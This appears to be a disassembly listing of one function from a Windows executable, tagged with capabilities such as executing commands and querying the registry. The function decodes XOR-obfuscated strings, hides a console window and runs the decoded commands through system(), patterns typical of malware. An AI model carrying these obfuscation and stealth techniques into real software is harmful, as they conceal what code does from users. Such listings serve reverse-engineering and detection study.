Function at 0x5a1330
Capabilities:
Create directory
Execute command
Move file
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5d8858
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2d0
push ebx
push esi
push edi
xor ebx, ebx
push ebx
call sub.MSVCR90.dll__time64
push eax
call sub.MSVCR90.dll_srand
mov eax, 0xf
add esp, 8
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0xc4], ebx
mov byte [ebp - 0xd4], bl
mov dword [ebp - 4], ebx
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x54], ebx
mov byte [ebp - 0x64], bl
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], ebx
mov byte [ebp - 0x40], bl
mov byte [ebp - 4], 2
lea esi, [ebx + 0xa]
jmp 0x5a13a0
mov ecx, 0xf
xor eax, eax
mov dl, byte [eax + str._______xxxxxxxHHHHHHHHXXXXXXXXHHHrvvrrrrvvrr]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x1a1], dl
jns 0x5a13c7
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x3e
jl 0x5a13a7
mov byte [ebp - 0x163], bl
call sub.MSVCR90.dll_rand
cdq
idiv dword [0x6b33a8]
mov al, byte [ebp + edx - 0x1a1]
mov byte [ebp - 0x10], al
mov ecx, dword [ebp - 0x10]
push ecx
push 1
lea ecx, [ebp - 0xd8]
call fcn.00411d60
sub esi, 1
jne 0x5a13a0
mov edx, dword [ebp + 8]
cmp edx, ebx
je 0x5a1423
mov eax, edx
lea esi, [eax + 1]
jmp 0x5a1410
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x5a1410
sub eax, esi
push eax
push edx
lea ecx, [ebp - 0x68]
call fcn.00406de0
mov ecx, 0xa6
xor eax, eax
lea ebx, [ebx]
mov dl, byte [eax + 0x66b40c]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x11], dl
jns 0x5a144d
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 4
jl 0x5a1430
mov byte [ebp - 0xd], bl
lea eax, [ebp - 0x11]
push eax
lea ecx, [ebp - 0xd8]
push ecx
lea edx, [ebp - 0x180]
push edx
mov byte [ebp - 4], 3
call fcn.00584240
add esp, 0xc
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 4
call fcn.00406ad0
mov esi, 0x10
cmp dword [ebp - 0x168], esi
jb 0x5a14a0
mov eax, dword [ebp - 0x17c]
push eax
call fcn.00570810
add esp, 4
mov ecx, dword [ebp - 0x40]
mov byte [ebp - 4], 2
cmp dword [ebp - 0x2c], esi
jae 0x5a14af
lea ecx, [ebp - 0x40]
mov eax, dword [ebp - 0x64]
mov dword [ebp + 8], ecx
cmp dword [ebp - 0x50], esi
jae 0x5a14bd
lea eax, [ebp - 0x64]
push ecx
push eax
call sub.MSVCR90.dll_rename
add esp, 8
call fcn.0059b510
call dword [sym.imp.KERNEL32.dll_AllocConsole]
mov ecx, 0x1b
xor eax, eax
lea esp, [esp]
mov dl, byte [eax + str.XssmpLDuJJAIPkEKX_]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x24], dl
jns 0x5a14fd
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x12
jl 0x5a14e0
push ebx
lea eax, [ebp - 0x24]
push eax
mov byte [ebp - 0x12], bl
call dword [sym.imp.USER32.dll_FindWindowA]
xor ecx, ecx
push ebx
push eax
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], ecx
mov word [ebp - 0x14], cx
mov byte [ebp - 0x12], cl
call dword [sym.imp.USER32.dll_ShowWindow]
mov ecx, 0x85
xor eax, eax
mov dl, byte [eax + 0x66ae18]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x1dc], dl
jns 0x5a1555
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x79
jl 0x5a1535
lea eax, [ebp - 0x1dc]
push eax
mov byte [ebp - 0x163], bl
call sub.MSVCR90.dll_system
add esp, 4
mov ecx, 0x1d
xor eax, eax
mov dl, byte [eax + str.mqhESQKAIJ_a]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x1a6], dl
jns 0x5a1597
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x43
jl 0x5a1577
lea eax, [ebp - 0x1a6]
push eax
mov byte [ebp - 0x163], bl
call sub.MSVCR90.dll_system
add esp, 4
mov dword [ebp - 0x4c], 1
mov dword [ebp - 0x48], 0xff
mov ecx, 0x1f
xor eax, eax
mov dl, byte [eax + str.Logvtewce_IYCAIDmeZZQY_K]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x18f], dl
jns 0x5a15e7
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x2c
jl 0x5a15c7
lea eax, [ebp - 0x28]
push eax
push 0xf003f
push ebx
lea ecx, [ebp - 0x18f]
push ecx
push reloc.OLEAUT32.dll_SysReAllocString
mov byte [ebp - 0x163], bl
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
jne 0x5a198c
mov edx, str.DajnqOqpT
sub edx, 0x2026c624
push edx
lea ecx, [ebp - 0x1c]
call fcn.0059af80
lea ecx, [ebp - 0x48]
push ecx
lea edx, [ebp - 0x2dc]
push edx
mov edx, dword [ebp - 0x28]
lea ecx, [ebp - 0x4c]
push ecx
push ebx
push eax
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp eax, ebx
jne 0x5a198c
mov eax, 0x66b368
sub eax, 0x1e97489e
push eax
lea ecx, [ebp - 0x184]
call fcn.0059b010
mov edi, 0xf
mov ecx, eax
mov byte [ebp - 4], 5
mov dword [ebp - 0xa4], edi
mov dword [ebp - 0xa8], ebx
mov byte [ebp - 0xb8], bl
lea esi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
cmp dl, bl
jne 0x5a1684
sub ecx, esi
push ecx
push eax
lea ecx, [ebp - 0xbc]
call fcn.00406de0
push 0x71894c58
lea ecx, [ebp - 0x1c]
call fcn.0059b060
mov esi, eax
lea ecx, [ebp - 0xbc]
push ecx
lea edx, [ebp - 0x2dc]
push edx
lea eax, [ebp - 0x180]
push eax
mov byte [ebp - 4], 8
call fcn.004133c0
push esi
push eax
lea ecx, [ebp - 0x84]
push ecx
mov byte [ebp - 4], 9
call fcn.00584240
add esp, 0x18
mov esi, 0x10
cmp dword [ebp - 0x168], esi
jb 0x5a16f8
mov edx, dword [ebp - 0x17c]
push edx
call fcn.00570810
add esp, 4
mov dword [ebp - 0x168], edi
mov dword [ebp - 0x16c], ebx
mov byte [ebp - 0x17c], bl
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov word [ebp - 0x14], ax
mov byte [ebp - 0x12], al
lea eax, [ebp - 0xbc]
push eax
lea ecx, [ebp - 0x2dc]
push ecx
lea edx, [ebp - 0xa0]
push edx
mov byte [ebp - 4], 0xc
call fcn.004133c0
add esp, 0xc
mov byte [ebp - 4], 0xd
cmp dword [ebp - 0x88], esi
jb 0x5a1752
mov eax, dword [ebp - 0x9c]
cmp eax, ebx
je 0x5a1760
jmp 0x5a1758
lea eax, [ebp - 0x9c]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call fcn.005a1040
mov eax, dword [ebp - 0x80]
cmp dword [ebp - 0x6c], esi
jae 0x5a1770
lea eax, [ebp - 0x80]
push 1
push 0x40
push 8
push eax
lea ecx, [ebp - 0x160]
call fcn.005a0d60
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x160]
push ecx
mov byte [ebp - 4], 0xe
call fcn.00413050
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.004108f0
mov edx, dword [esi]
mov eax, dword [edx + 4]
add eax, esi
xor edi, edi
test byte [eax + 8], 6
jne 0x5a17c9
mov eax, dword [eax + 0x28]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x30]
call eax
cmp eax, 0xffffffff
jne 0x5a17c9
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
cmp edi, ebx
je 0x5a17e8
mov eax, dword [ecx + 8]
or eax, edi
cmp dword [ecx + 0x28], ebx
jne 0x5a17e1
or eax, 4
push ebx
push eax
call fcn.00410280
lea esi, [ebp - 0x15c]
cmp dword [ebp - 0x110], ebx
je 0x5a1816
mov ecx, esi
call fcn.004123c0
test al, al
jne 0x5a1803
xor esi, esi
mov edx, dword [ebp - 0x110]
push edx
call sub.MSVCR90.dll_fclose
add esp, 4
test eax, eax
je 0x5a1818
xor esi, esi
lea eax, [ebp - 0x154]
mov dword [ebp - 0x14c], eax
lea ecx, [ebp - 0x150]
lea edx, [ebp - 0x144]
lea eax, [ebp - 0x140]
mov dword [ebp - 0x148], ecx
mov dword [ebp - 0x13c], edx
mov dword [ebp - 0x138], eax
mov eax, dword [0x7a8ce0]
lea ecx, [ebp - 0x134]
lea edx, [ebp - 0x130]
mov byte [ebp - 0x114], bl
mov byte [ebp - 0x11b], bl
mov dword [ebp - 0x12c], ecx
mov dword [ebp - 0x128], edx
mov dword [ebp - 0x150], ebx
mov dword [ebp - 0x140], ebx
mov dword [ebp - 0x130], ebx
mov dword [ebp - 0x154], ebx
mov dword [ebp - 0x144], ebx
mov dword [ebp - 0x134], ebx
mov dword [ebp - 0x110], ebx
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x120], ebx
cmp esi, ebx
jne 0x5a18d4
mov ecx, dword [ebp - 0x160]
mov ecx, dword [ecx + 4]
mov eax, dword [ebp + ecx - 0x158]
lea ecx, [ebp + ecx - 0x160]
or eax, 2
cmp dword [ecx + 0x28], ebx
jne 0x5a18cd
or eax, 4
push ebx
push eax
call fcn.00410280
mov edx, dword [ebp - 0x40]
mov edi, 0x10
cmp dword [ebp - 0x2c], edi
jae 0x5a18e4
lea edx, [ebp - 0x40]
mov eax, edx
lea esi, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x5a18f0
sub eax, esi
push eax
push edx
mov ecx, 0x6b3420
call fcn.00406de0
lea ecx, [ebp - 0x10c]
mov byte [ebp - 4], 0xd
call fcn.00410de0
lea edx, [ebp - 0x10c]
push edx
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.005c64b9
add esp, 4
cmp dword [ebp - 0x88], edi
jb 0x5a1944
mov eax, dword [ebp - 0x9c]
push eax
call fcn.00570810
add esp, 4
mov esi, 0xf
mov dword [ebp - 0x88], esi
mov dword [ebp - 0x8c], ebx
mov byte [ebp - 0x9c], bl
cmp dword [ebp - 0x6c], edi
jb 0x5a196c
mov ecx, dword [ebp - 0x80]
push ecx
call fcn.00570810
add esp, 4
mov dword [ebp - 0x6c], esi
mov dword [ebp - 0x70], ebx
mov byte [ebp - 0x80], bl
cmp dword [ebp - 0xa4], edi
jb 0x5a198c
mov edx, dword [ebp - 0xb8]
push edx
call fcn.00570810
add esp, 4
mov eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, 0x10
cmp dword [0x6b3438], edi
jb 0x5a19ae
mov ecx, dword [0x6b3424]
mov dword [ebp + 8], ecx
jmp 0x5a19b5
mov dword [ebp + 8], 0x6b3424
cmp dword [ebp - 0x2c], edi
jb 0x5a19c6
mov edx, dword [ebp - 0x40]
push edx
call fcn.00570810
add esp, 4
mov esi, 0xf
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x30], ebx
mov byte [ebp - 0x40], bl
cmp dword [ebp - 0x50], edi
jb 0x5a19e5
mov eax, dword [ebp - 0x64]
push eax
call fcn.00570810
add esp, 4
cmp dword [ebp - 0xc0], edi
pop edi
mov dword [ebp - 0x50], esi
pop esi
mov dword [ebp - 0x54], ebx
mov byte [ebp - 0x64], bl
pop ebx
jb 0x5a1a08
mov ecx, dword [ebp - 0xd4]
push ecx
call fcn.00570810
add esp, 4
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret